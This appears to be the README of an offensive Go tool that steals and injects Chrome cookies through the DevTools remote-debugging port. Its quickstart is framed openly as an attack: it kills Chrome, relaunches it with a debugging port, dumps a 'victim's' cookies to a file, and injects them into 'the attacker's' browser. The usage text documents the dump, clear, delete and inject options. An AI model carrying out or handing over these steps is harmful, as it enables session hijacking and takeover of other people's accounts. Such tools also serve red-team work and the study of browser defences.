Steal/Inject Chrome cookies over the DevTools (--remote-debugging-port) protocol.
Features:
1 Dump Chrome's cookies
2 Inject dumped Cookies into (another instance of) Chrome
3 Clear Chrome's cookies
4 Defaults settable at compile time
Quickstart
Steal a victim's cookies:
$ git clone https://github.com/magisterquis/chromecookiestealer.git
$ cd chromecookiestealer
$ go build
$ pkill Chrome
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session
$ ./chromecookiestealer -dump ./cookies.json
Inject into the attacker's local browser:
$ ./chromecookiestealer -clear -inject ./cookies.json
Usage:
Usage: chromecookiestealer [options]
Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
and, in order and as requested:
- Dumps cookies
- Clears cookies
- Injects cookies
- Deletes selected cookies
Parameters for cookies to be deleted should be represented as an array of JSON
objects with the following string fields:
name - Name of the cookies to remove.
url - If specified, deletes all the cookies with the given name where domain
and path match provided URL.
domain - If specified, deletes only cookies with the exact domain.
path - If specified, deletes only cookies with the exact path.
Filenames may also be "-" for stdin/stdout.
Options:
-chrome URL
Chrome remote debugging URL (default "ws://127.0.0.1:9222")
-clear
Clear browser cookies
-delete file
Name of file containing parameters for cookies to delete
-dump file
Name of file to which to dump stolen cookies
-inject file
Name of file containing cookies to inject
-no-summary
Don't print a summary on exit
-verbose
Enable verbose logging
